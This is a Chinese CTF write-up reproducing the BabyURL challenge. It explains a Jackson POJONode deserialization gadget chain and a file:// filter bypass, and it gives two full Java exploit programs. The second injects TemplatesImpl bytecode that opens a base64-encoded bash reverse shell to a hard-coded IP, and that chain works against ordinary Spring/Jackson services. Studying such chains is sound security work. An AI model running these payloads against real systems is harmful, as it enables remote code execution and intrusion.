【Web】记录巅峰极客2023 BabyURL题目复现——Jackson原生链

目录

前言

分析

EXP

SignedObject打二次反序列化

打TemplatesImpl加载恶意字节码

前文:【Web】浅聊Jackson序列化getter的利用——POJONode

前言

题目环境:2023巅峰极客 BabyURL

之前AliyunCTF Bypassit I这题考查了这样一条链子:

BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImpl

其实就是Jackson的原生反序列化利用

今天复现的这题也是大同小异,一起来整一下😋

分析

toString到getter的部分不作赘述,getter一般常见的用法分两种,打二次反序列化和打TemplatesImpl

结合具体题目去分析

先看pom依赖,就是给了一些spring依赖,众所周知,在 Spring Boot 中,通常自带jackson

再来看一下输入流,注意到ban了URLVistor和URLHelper两个classpath下的bean

URLHelper#readObject调用了URLVisiter#visitUrl,获取的结果写入/tmp/file文件

来看URLVisiter#vistUrl

visitUrl限制了URL不能以file开头,可以首字符用空格绕过,也可以用大写绕过FILE:/// ,从而绕过限制,读取靶机本地文件

给了三个路由,反序列化入口点在/hack处,然后可以在/file路由读取/tmp/file路由的内容并回显

那么思路就很清晰了,我们要先利用反序列化让URLVisiter去读flag,再写入/tmp/file

问题是MyObjectInputStream将URLHelper和URLVister给ban了,这点我们可以用SignedObject打二次反序列化来绕过

EXP

SignedObject打二次反序列化

package com.yancao.ctf.exp;

import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.ProtectionDomain;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;

public class EXP {
    public static void main(String[] args) throws Exception {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, (ProtectionDomain)null);
        } catch (Exception var11) {
        }

        URLHelper urlHelper = new URLHelper(" file:///");
        URLVisiter urlVisiter = new URLVisiter();
        setFieldValue(urlHelper, "visiter", urlVisiter);
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(urlHelper, privateKey, signingEngine);
        POJONode jsonNodes = new POJONode(signedObject);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp, jsonNodes);
        System.out.println(serial(exp));
    }

    public static String serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;
    }

    private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

打TemplatesImpl加载恶意字节码

这个就和AliyunCTF那题一样了,不需要依赖题目自定义的类,简单粗暴

package com.yancao.ctf.exp;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.ProtectionDomain;
import java.util.Base64;

public class EXP {

    public static void main(String[] args) throws Exception {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, (ProtectionDomain)null);
        } catch (Exception var11) {
        }

        byte[] code = getTemplates();//用javassist获取
        byte[][] codes = {code};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", codes);

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);

        setFieldValue(val, "val", node);

        System.out.println(serial(val));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static byte[] getTemplates() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-22 14:30:03       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-22 14:30:03       106 阅读
  3. 在Django里面运行非项目文件

    2024-03-22 14:30:03       87 阅读
  4. Python语言-面向对象

    2024-03-22 14:30:03       96 阅读

热门阅读

  1. 插件电阻的工艺结构原理及选型参数总结

    2024-03-22 14:30:03       42 阅读
  2. Python如何行转列代码

    2024-03-22 14:30:03       41 阅读
  3. OpenCV图像阈值分割、二值化

    2024-03-22 14:30:03       38 阅读
  4. 包装类的缓存问题

    2024-03-22 14:30:03       43 阅读
  5. seleniumui自动化实例-邮箱登录

    2024-03-22 14:30:03       46 阅读
  6. docker-compose(mysql5.6、mysql8、neo4j3.5、redis)

    2024-03-22 14:30:03       38 阅读
  7. python与excel第三节

    2024-03-22 14:30:03       35 阅读
  8. 观察者模式

    2024-03-22 14:30:03       46 阅读
  9. 实验3-11 求一元二次方程的根(PTA)

    2024-03-22 14:30:03       44 阅读
  10. 量化交易入门(十二)Python开发-NumPy

    2024-03-22 14:30:03       31 阅读